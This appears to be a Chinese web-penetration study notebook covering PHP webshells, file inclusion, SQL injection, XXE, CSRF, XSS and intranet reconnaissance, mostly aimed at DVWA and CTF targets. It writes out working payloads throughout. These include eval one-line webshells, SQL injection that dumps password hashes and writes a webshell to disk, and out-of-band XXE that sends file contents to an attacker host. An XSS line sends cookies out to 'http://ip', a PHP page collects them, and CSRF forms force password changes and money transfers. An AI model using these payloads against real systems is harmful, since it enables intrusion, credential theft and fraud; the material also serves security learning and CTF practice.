WEB(持续更新)

Fuzz是安全测试的一种方法,也是极为重要的一种手段!当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!

valid 有效的、invalid 无效的

渗透中POC、EXP、Payload与Shellcode的区别

想象自己是一个特工,你的目标是监控一个重要的人,有一天你怀疑目标家里的窗子可能没有关,于是你上前推了推,结果推开了,这是一个POC。之后你回去了,开始准备第二天的渗透计划,第二天你通过同样的漏洞渗透进了它家,仔细查看了所有的重要文件,离开时还安装了一个隐蔽的窃听器,这一天你所做的就是一个EXP,你在他家所做的就是不同的Payload,就把窃听器当作Shellcode吧。

几点注意

POC是用来证明漏洞存在的,EXP是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。
Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。
Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。
Shellcode与Shellshcok不是一个,Shellshock特指14年发现的Shellshock漏洞。

Payload模块

在Metasploit Framework 6大模块中有一个Payload模块,在该模块下有Single、Stager、Stages这三种类型,Single是一个all-in-one的Payload,不依赖其他的文件,所以它的体积会比较大,Stager主要用于当目标计算机的内存有限时,可以先传输一个较小的Stager用于建立连接,Stages指利用Stager建立的连接下载后续的Payload。Stager和Stages都有多种类型,适用于不同场景。

PHP 有关

弱类型

一句话木马

代码执行(eval)

1
2
3
4
5
6
7
8
# $_GET['string'] = "1';phpinfo();//"
$string = $_GET['string'];

$str = 'This is a $string $time morning!';
echo $str."\n";
# $str = '1';phpinfo();//';
eval("\$str = '".$string."';");
echo $str;

get型一句话木马怎么利用?

常用eval利用参数:

删除文件:unlink(“flag.txt”)

查看当前文件夹文件:print_r(scandir("."))

php 常用函数

file_get_contents("/flag") 读取文件内容,需配合 echo 打印

file_put_contents("filename", "data") 将 data 写入 filename 文件

命令执行(system)绕过

${IFS} 绕过空格

使用此漏洞时需确认 system 函数没有被禁用(不在 phpinfo() 的 disable_functions 中)

文件包含(include 参数可控)

漏洞构成条件:

  • include 参数可控
  • 执行任意文件代码(配合文件上传可执行 a.jpg)
  • 任意文件读取(如果文件内有 <?php?> 则会作为 php 代码执行,所以读取的文件不能含有 <?php?>

如果没有文件上传点怎么执行任意文件代码呢?如果想读取包含 <?php?> 的文件呢?

php 伪协议

file:// 访问本地文件系统

http:// 访问网址

php:// 访问各个输入/输入流

zip:// 获得 zip 压缩包内内容

phar:// 1.获得压缩包内的内容。2.反序列化利用

真任意文件读取(读取 php 源码)

1
2
# 将 index.php 内容进行 base64 编码后包含
php://filter/read=convert.base64-encode/resource=index.php

真任意代码执行(🈚️上传点)

方法一:

远程文件包含

需要 php.ini 中 allow_url_fopenallow_url_include 均开启🔛

控制 include 参数为远程 php 代码:include('http://xxx.xxx.xxx.xxx/a.txt')

1
2
3
4
<?php
// a.txt
eval($_POST['a']);echo "success!";
?>

方法二:

data 协议

传入的 include 参数 data: text/plain, <?php echo "aaaa";?>

有些前端的图片是这样

img

方法三:

php:// 伪协议

需要 php.ini 中 allow_url_fopenallow_url_include 均开启🔛

php://input

1
2
3
4
# post 传参数
<?php
echo "cccc";
?>

post

文件上传

常见绕过:

  • 前端验证直接绕过(记得修改 Content-Type)
  • 中间件解析漏洞(ISS, Apache)
  • 后缀绕过,适用黑名单(大小写、php2、php5、phtml 等可以解析的文件)
  • .htaccess 绕过
  • php<=5.3使用 %00 截断(a.php%00.jpg)

高级版:

文件上传+文件包含漏洞联合利用

源码:<?php include($_GET['action'].".php")>

流程:创建一句话木马 -> 压缩为 a.zip -> a.zip改名字为 a.jpg -> 上传 a.jpg -> 获得 a.jpg 路径,进行包含。

原理:利用 zip.//phar:// 读取压缩包内 php 文件

木马为 <?php eval($_POST['a']);echo "success!";?>

phar

zip

会话管理

1
2
3
4
5
6
7
<?php
// 启动 session
session_start();
$_SESSION["admin"] = true;
$_SESSION["username"] = "i5am3";
$_SESSION["userid"] = 10086;
?>

php 中默认 session 以文件存储

1
2
3
4
5
6
# php.ini
# session 储存方式
session.save_handler = files
# session 储存位置,也可以存在 Redis, memcache
session.save_path = "/tmp"
# 储存形式:/tmp/sess_[sessionid]

存储格式

1
2
3
# php.ini
# session 存储格式
session.serialize_handler
1
2
3
4
5
6
7
8
9
10
11
# 当 session.serialize_handler = php
# session 文件内容为
name|s:5:"i5am3";

# 当 session.serialize_handler = php_serialize
# session 文件内容为
a:1:{s:4:"name";s:5:"i5am3";}

# 当 session.serialize_handler = php_binary
# session 文件内容为二进制字符
names:5:"i5am3";

高级漏洞利用:通过文件包含,包含 session 文件进而 getshell

session 文件位置,通过看 phpinfo() 得到,再通过控制 session 内容,改写为一句话木马,再包含即可。

如何控制 session 文件内容?

源码泄漏或开源程序通过分析代码,看一下 session 都存了什么

SQL injection

sql 注入总结:

https://www.anquanke.com/post/id/205376

https://xz.aliyun.com/t/7169

👋手工注入

建议使用函数前在本地环境先验证 SQL 语句的合法性

流程:

  1. 判断是否有注入(单引号 1' and 1='1,双引号 1" and 1="1,数字 1 and 1=1
  2. 判断注入点的列数 1' order by (因为后期使用的 union 查询时必须要和网站原始的查询语句显示的列数一致)
  3. 判断注入回显位置 1' union select 1,2,3,4…#
  4. 获取数据库、表、列、值(通过 information_schema 库)
1
LIMIT 1, 1	# 偏移量,长度

技巧

  • information_schema: 保存着关于 MySQL 服务器所维护的所有其他数据库的信息(MySQL < 5.0 没有)
  • mysql: 储存数据库的用户、权限设置、关键字
  • performance_schema: 收集数据库服务器性能参数

大杀器:information_schema 库(MySQL < 5.0 没有)

  • SCHEMATA 数据库信息表
  • TABLES 数据表信息表
  • COLUMNS 数据列信息表

Snipaste_2023-03-18_22-25-32

表名

Snipaste_2023-03-18_22-33-16

列名

Snipaste_2023-03-18_22-35-03

202303191007312

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0.02 sec)

mysql> select SCHEMA_NAME from information_schema.SCHEMATA;
+--------------------+
| SCHEMA_NAME |
+--------------------+
| mysql |
| information_schema |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0.00 sec)

mysql> select user from users where user_id>1;
+---------+
| user |
+---------+
| gordonb |
| 1337 |
| pablo |
| smithy |
+---------+
4 rows in set (0.00 sec)

mysql> select user from users where user_id>1 or 1=1;
+---------+
| user |
+---------+
| admin |
| gordonb |
| 1337 |
| pablo |
| smithy |
+---------+
5 rows in set (0.00 sec)

mysql> select user from users;
+---------+
| user |
+---------+
| admin |
| gordonb |
| 1337 |
| pablo |
| smithy |
+---------+
5 rows in set (0.00 sec)

sql 基础知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
user() 当前数据库用户

database() 当前数据库名

version() 当前使用数据库版本

order by 3 # 根据第三列进行排序,判断表格列数使用

group_concat() # 将多条数据拼接为一条

LIMIT 1, 1 # 偏移量,长度;也可以直接 LIMIT 1(输出一行)

ASCII()

LEFT(str, length) # 将 str 从左往右截断:类似函数:substr(xx, 0, 1)、substring(xx, 0, 1)。如果逗号被过滤可以改考虑使用另一个用法:substr(xx from 0 for 1)
SUBSTR(xx, 0, 1)
SUBSTRING(xx, 0, 1)

group_concat不懂可以参考这条:跳转链接🔗

常规注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# 判断是否为注入
?id=1' or '1'='1
?id=1' or '1'='2

# 判断字段长度(2 正常,3 异常)
?id=1' order by 2 --
?id=1' order by 3 --

# 确定回显点
?id=1' union select 111,222 --

# 当前用户名和数据库名称
?id=1' union select user(),database() --


output:admin@localhost、dvwa

# 所有数据库
?id=1' union select SCHEMA_NAME from information_schema.SCHEMATA --

# 查看当前用户和 mysql 版本
?id=1' union select current_user(),version() --

output:First name: admin@%5.5.47-0ubuntu0.14.04.1

# 爆表名
?id=1' union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'dvwa' --
output:guestbook,users

?id=1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database() -- 绕过黑名单information_schema.tables

# 爆列名(两种办法,加引号或者十六进制编码)
# 如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过
?id=1' union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME =0x7573657273 --

?id=1' union select 1,group_concat(COLUMNS) from information_schema.COLUMNS where TABLE_NAME ='users' --

output:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

?id=1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'


# 爆当前数据库表中所选字段内容
?id=1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users --
?id=1' union select null,concat_ws(char(32,58,32),user,password) from users --
?id=1' union select user,password from users --
-- output:admin/5f4dcc3b5aa765d61d8327deb882cf99


# 爆某个库表中所选字段内容
?id=1' union select 1,2,[COLUMN_NAME] from [database_name].[table_name] --

# or被过滤,考虑使用符号"^"
select * from user where id=1^select * from

# 绕过空格
/**/替换空格

# union被过滤,考虑使用盲注
ascii(substr((select database())from 1 for 1))=xx #


# 逗号被过滤,考虑使用函数的不同用法
substr(xx, 0, 1) ==> substr(xx from 0 for 1)

# 引号过滤考虑16进制
users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273

# 读文件
?id=1' union select 1,load_file('//tmp//key') --

# 写文件()
?id=1' and '1'='2' union select null,'hello' into outfile '/tmp/test01' --
?id=999' union select null,'hello' into outfile '/tmp/test02' --
?id=999' union select null,'<?php @eval($_POST["gg"]); ?>' into outfile '/tmp/test03' --
?id=999' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile '//tmp//test04' --

各种绕过姿势:https://www.windylh.com/2018/06/10/Sql%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/

关于确定回显地点,例子:这道题只有一个回显地址,是用来回显正常应答的。如果我们要使用union联合查询,可以查询一个不存在的值,让查询返回为空,给union腾出位置

image-20230331145635317

盲注

根据是否能正常查询出结果进行盲注

如果没办法查看回显可以用盲注;如果union被过滤可以用盲注

1
2
3
4
5
6
7
8
9
10
11
盲注的几种payload
SELECT usernmae FROM users WHERE id='1' and left(database(), 1)='a';

SELECT username FROM users WHERE id='1' and left((SELECT password FROM users), 1)='a';

# 查询表名
or ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA="ctf"), 0, 1))=xx;
# 查询列名
or ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where table_name="user", 0, 1))=xx;
# 读取flag
ascii(substr((select flag from flag_table), 0, 1))=xx;

堆叠+修改表的结构进行注入([强网杯 2019]随便注方法之一)

WAF:

1
2
use inject :union
error:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

存在堆叠注入
1’;show talbes;#

1
2
3
4
5
6
7
8
9
10
tales:
array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

1919810931114514

1
2
3
`是 MySQL 的转义符,避免和 mysql 的本身的关键字冲突
0';show columns from `1919810931114514`;#
flag varchar(100)

payload:

1
2
																					 ID列为无符号整型,该列值不可以为空,并不可以重复(primery key主键),而且自增.alert table 表名 change 现有字段名称  修改后字段名称 数据类型
1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key;alter table words change flag data varchar(100);#

alter 改变表
ALTER TABLE

HANDLER语句注入([强网杯 2019]随便注方法之一)

https://dev.mysql.com/doc/refman/5.7/en/handler.html ,在这里就可以找到答案

该HANDLER语句提供对表存储引擎接口的直接访问。可用于 InnoDB和MyISAM表。
该HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问。
该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭。

最后根据文档一把梭:

1
1';handler `1919810931114514` open;handler `1919810931114514` read first;#

handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据

宽字节注入:https://www.jianshu.com/p/4fe931da9550

宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码

id=1’———->id=1'———>id=1%5c%27
id=1%df’———id=1%df%5c%27———->id=1%DF5C%27——–>id=1運’

其实就是利用gbk是多字节的编码,两个字节代表一个汉字

%df %5c 组合出了一个“運”字

文件下载

爆破字典

XXE (XML External Entity attach)

外部实体攻击,漏洞生成前提:

libxml_disable_entity_loader(false); 禁止引用外部 xml 实体,true 为禁止。若需要修复漏洞,直接修改此项即可。

XML: 数据传输类型。(同类:json, 序列化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!--xml 文档声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--文档类型定义 DTD (Document Type Definition)-->
<!--此处为内部声明 DTD,引用外部 DTD 在下方示例中-->
<!DOCTYPE note [
<!ELEMENT note (to, from , body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<!--文档元素-->
<note>
<to>George</to>
<from>John</from>
<body>Don't forget the meeting</body>
</note>
常规 XXE
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!--引用外部 DTD-->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "/etc/passwd">
]>
<root>
<name>&xxe;</name>
</root>

passwd

读取 php 文件的时候因为会有 <?php?> 符号,而默认的是 PCDATA 类型(无法输入特殊字符),所以使用 php 伪协议转化为 base64 编码

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!--引用外部 DTD-->
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=SimpleXMLElement.php">
]>
<root>
<name>&xxe;</name>
</root>

php

Blind OOB XXE

常规的 xml 数据传输是不会有回显的,所以可以通过 http_log 或者 DNS_log 来查看一些获取到的数据,如下:

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'

但是,实际上这个例子是错误的,因为在 xml 中存在一些限制:参数实体在 DTD 中定义,并且只能在 DTD 中使用

xml

参数实体

攻击流程:

发送的 xml

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY >
<!ENTITY % remote SYSTEM "http://ip/a.dtd">
%remote;%int;%send;
]>
<creds>
<user>admin</user>
<pass>mypass</pass>
</creds>

http://ip/a.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///root/flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999/?p=%file;'>">

在攻击者服务器(http://ip)上监听9999端口,可看到回显

发送的 xml 也可以写为

ps: php 中 data 协议受限于配置项:allow_url_fopenallow_url_include 需要开启

Brute Force

BP 的 intruder

BP 攻击类型:Sniper(狙击手)、Battering ram(攻城石)、Pitchfork(音叉)、Clusterbomb(集束炸弹)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
mysql_real_escape_string( $user );	//	过滤掉一些 sql 注入字符
stripslashes( $user ); // Returns a string with backslashes stripped off. (\' becomes ' and so on.) Double backslashes (\\) are made into a single backslash (\).


// 常规连接数据库语句(有被注入(可通过 mysql_real_escape_string 或者 PDO(PHP Data Object)防止)和爆破(限制输错密码次数(使用 mysql update 实现))风险)
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) ); // ⚠️prevent time inject
echo "<pre><br />Username and/or password incorrect.</pre>";
}
mysql_close();
}


// PDO(PHP Data Object)
$sql="insert login(username,password,upic,mail) values(:username,:password,:age,:mail)";
$stmt=$pdo->prepare($sql);
// 第三个参数可以指定参数的类型PDO::PARAM_STR为字符串,PDO::PARAM_INT为整型数
$stmt->bindParam(":username",$username,PDO::PARAM_STR);
$stmt->bindParam(":password",$password,PDO::PARAM_STR);
$stmt->bindParam(":age",$age,PDO::PARAM_INT);
// 使用bindValue()方法绑定一个定值
$stmt->bindValue(":mail",'default@qq.com');
$stmt->execute();
echo $stmt->rowCount();

Command Injection

掌握几个 shell 技巧:|、||、&、&&

| 管道符号:前面的输出作为后面的输入

|| 前面执行失败才执行后面的语句

& 后台执行:配合 fg、bg

&& 前面执行成功才执行后面的语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
stristr();	//	Case-insensitive 的 strstr();
echo stristr('USER@EXAMPLE.com', 'e'); // outputs ER@EXAMPLE.com

array_keys(); // Return all the keys or a subset of the keys of an array
$array = array(0 => 100, "color" => "red");
print_r(array_keys($array));
//output
//Array
//(
// [0] => 0
// [1] => color
//)


str_replace(); // Replace all occurrences of the search string with the replacement string
// Provides: Hll Wrld f PHP
$vowels = array("a", "e", "i", "o", "u", "A", "E", "I", "O", "U");
$onlyconsonants = str_replace($vowels, "", "Hello World of PHP");


// Split the IP into 4 octects,类似 python 的 .split()
$octet = explode( ".", $target );

Cross Site Request Forgery (CSRF)

危害:以你的名义发送邮件、发消息、盗取账号、购买商品、虚拟货币转账

csrf 要和 xss 一起运用才能实现一些危险系数高的攻击。

exp(Low Level)(注意这里有一个坑,非常建议本地建一个 web 服务然后再打开 exp ,本地直接打开的话第二个 exp 不会成功,反正我这里是试了半天没成功。其次还要注意一下浏览器缓存的问题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html>
<body>
<form action="http://127.0.0.1:8888/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="hacker">
<input type="hidden" name="password_conf" value="hacker">
<input type="hidden" name="Change" value="Change">
<input type="submit" value="Click Me">
</form>
</body>
</html>

or

<img src="http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change" border="0" style="display:none;"/>
<!-- border 边框,style="display:none;" 让其不显示-->
<h1>404<h1>
<h2>file not found.<h2>
1
2
3
4
eregi(string pattern, string string)
检查 string 中是否含有 pattern(不区分大小写),如果有返回 True,反之 False
eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] )
用此方法防御的 csrf 可用文件名包含 server_name 攻击

漏洞利用二:

通过 FORM 表单自动提交,发起 POST 请求

1
2
3
4
5
<form id="csrf" action="//www.mybank.com/Transfer.php" method="POST">
<input type="hidden" name="toBankId" value="11"/>
<input type="hidden" name="money" value="1000"/>
</form>
<script>document.getElementById("csrf").submit();</script>

通过 JS 发起 POST 请求

1
2
3
4
var t = new XMLHttpRequest;
t.open("POST", "//www.mybank.com/Transfer.php", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.send("toBankId=11&money=1000");

漏洞修复

  • 保证请求来源可信
  • 服务器端必须判断请求头中的 Referer 字段
  • 在来源页面添加 CSRF token
  • 浏览器方面:同源策略,同一协议、同一 url、同一端口。不同源客户端脚本之间在没有明确授权的情况下不能读写对方资源。不是同源即为跨域。

跨域问题的解决

不要再问我跨域的问题了

跨域安全

浏览器为了制止一些前端的攻击,制定了严格的同源策略。但是由于某些网站应用的接口不是同源的,所以出现了两个针对同源策略的对策:JSONP, CORS

JSONP

同源策略限制了 AJAX 请求读取信息,但是没有限制资源的加载。比如:img, style, script 等,于是程序员相处了一种办法即为 JSONP

JSONP 并不是官方发布的应对同源策略的方案,只是程序员想出来的奇思异想。

JSON 教程

CORS

跨域资源共享协议

客户端发送请求的时候发送 Origin,并由服务端进行判断。接着服务端发送给客户端一个 Access-Control-Allow-Origin 里面写明了允许哪些客户端访问

cors

目前漏洞比较多的点

XSS (Cross Site Scripting)

成因:未对用户的输入进行专义或者过滤

危害:

  • 蠕虫传播虚假消息(别的用户访问一次病毒文章,生成一篇新的分享)
  • 获得用户 cookie
  • 弹出登陆框获取用户密码等信息
1
<img src=1 onerror=alert(1)>

漏洞利用:

1
2
3
4
5
6
// js
window.location.href

window.location.href="http://baidu.com"

window.location.href="http://ip/?cookie="+document.cookie;

监听回传端口,或者写一个简单的 php 页面接收 cookie,或者一些在线 XSS 平台

tmp

tmp

1
2
3
4
5
6
<?php
$c = $_GET['c'];
$myfile = fopen("cookie.txt", "w");
fwrite($myfile, $c);
fclose($myfile);
?>

高级漏洞利用:

现在随着技术的更新,XSS 漏洞的最高危害不仅仅是获取管理员的 cookie 了

  • 控制前端显示
  • nodejs 应用
  • webview 安卓
反射 XSS

后端源码

1
2
3
<?php
echo "Hello ".$_GET['name'];
?>

储存在 url 中需要用户点击链接才会触发,隐蔽性差。容易被 Chrome XSS Auditor 拦截

http://ip/index.php?name=<img src=1 onerror=alert(1)>

Dom XSS

利用的是前端,不需要后端参与

源码

1
2
3
4
5
6
7
<script>
var hash = location.hash;
if(hash){
var url = hash.substring(1);
location.href = url;
}
</script>

利用:http://ip/dom.html#javascript:alert(1);

储存XSS

存在后端

CSP (Content Security Policy)

CSP 旨在减少 XSS 攻击

CSP 是一种由开发者定义的安全性政策申明,通过 CSP 约束了内容来源(可信的内容来源,指脚本、图片、iframe、font、style 等等可能的远程的资源)

现在浏览器目前都可以通过获取 Header 头来进行 CSP 配置

除此之外,<meta> 元素也可以被用来配置该策略, 例如:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

CSP 分析工具

内网渗透

Linux 信息收集

1
2
3
4
5
6
netstat -nultp

# 查看系统信息
cat /etc/issue
# bash 历史记录
cat /root/.bash_history

Windows 信息收集

1
2
3
4
5
6
7
8
# Windows 查看当前端口开放情况
netstat -ano
# Windows 系统信息
systeminfo
# 当前进程信息
tasklist
# 查看当前系统用户列表
net user

其他

Vim缓存导致的网页源码泄漏

当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。
文件名一般为.index.php.swp

Link

https://www.cnblogs.com/v1vvwv/p/DVWA-SQL-Injection.html